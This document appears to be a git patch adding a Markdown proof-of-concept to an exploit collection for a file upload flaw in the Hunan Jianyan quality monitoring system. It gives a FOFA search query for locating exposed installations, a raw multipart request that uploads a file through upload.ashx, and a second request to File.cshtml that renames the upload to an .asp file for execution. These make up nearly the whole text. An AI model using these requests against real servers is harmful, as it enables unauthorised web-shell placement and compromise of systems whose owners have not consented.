From fc4e56f3235e36dd68ee7cb3a0867c990597a0c6 Mon Sep 17 00:00:00 2001 From: wy876 <139549762+wy876@users.noreply.github.com> Date: Sat, 27 Apr 2024 20:06:14 +0800 Subject: [PATCH] =?UTF-8?q?Create=20=E6=B9=96=E5=8D=97=E5=BB=BA=E7=A0=94?= =?UTF-8?q?=E8=B4=A8=E9=87=8F=E7=9B=91=E6=B5=8B=E7=B3=BB=E7=BB=9Fupload.as?= =?UTF-8?q?hx=E6=96=87=E4=BB=B6=E4=B8=8A=E4=BC=A0=E6=BC=8F=E6=B4=9E.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...建研质量监测系统upload.ashx文件上传漏洞.md | 45 +++++++++++++++++++ 1 file changed, 45 insertions(+) create mode 100644 湖南建研质量监测系统upload.ashx文件上传漏洞.md diff --git a/湖南建研质量监测系统upload.ashx文件上传漏洞.md b/湖南建研质量监测系统upload.ashx文件上传漏洞.md new file mode 100644 index 0000000..713de35 --- /dev/null +++ b/湖南建研质量监测系统upload.ashx文件上传漏洞.md @@ -0,0 +1,45 @@ +## 湖南建研质量监测系统upload.ashx文件上传漏洞 + +## fofa +``` +body="/Content/Theme/Standard/webSite/login.css" +``` + +## poc +``` +POST /Applications/Attachment/upload.ashx HTTP/1.1 +Host: +Content-Type: multipart/form-data; boundary=------------------------OqjxWFlqvSLEefGwXuWeIHbrMYnLtTbqoIUbHXbR +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 +Accept-Encoding: gzip, deflate +Accept-Language: zh-CN,zh;q=0.9 +Content-Length: 335 + +--------------------------OqjxWFlqvSLEefGwXuWeIHbrMYnLtTbqoIUbHXbR +Content-Disposition: form-data; name="file";filename="123.txt" + +123 +--------------------------OqjxWFlqvSLEefGwXuWeIHbrMYnLtTbqoIUbHXbR +Content-Disposition: form-data; name="_upload_guid" +123 +--------------------------OqjxWFlqvSLEefGwXuWeIHbrMYnLtTbqoIUbHXbR-- +``` + +![f846bf63220b1ecd0a62c03c66fb0924](https://github.com/wy876/POC/assets/139549762/e277303f-001d-4fa3-9f2a-a8aac3d65aba) + +### 将文件复制改名 + +``` +POST /Standard/Editor/API/File.cshtml?act=geturl HTTP/1.1 +Host: +Content-Type: application/x-www-form-urlencoded +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 +X-Forwarded-Proto: +Accept-Language: zh-CN,zh;q=0.9 +Content-Length: 63 + +filename=/tempData/12345667.asp&filetplpath=/tempData/123.txt +``` + +![271f4e479da4984ce1d40aebe30dfcc2](https://github.com/wy876/POC/assets/139549762/65de9612-4beb-47ef-80e0-c8a34aacf017)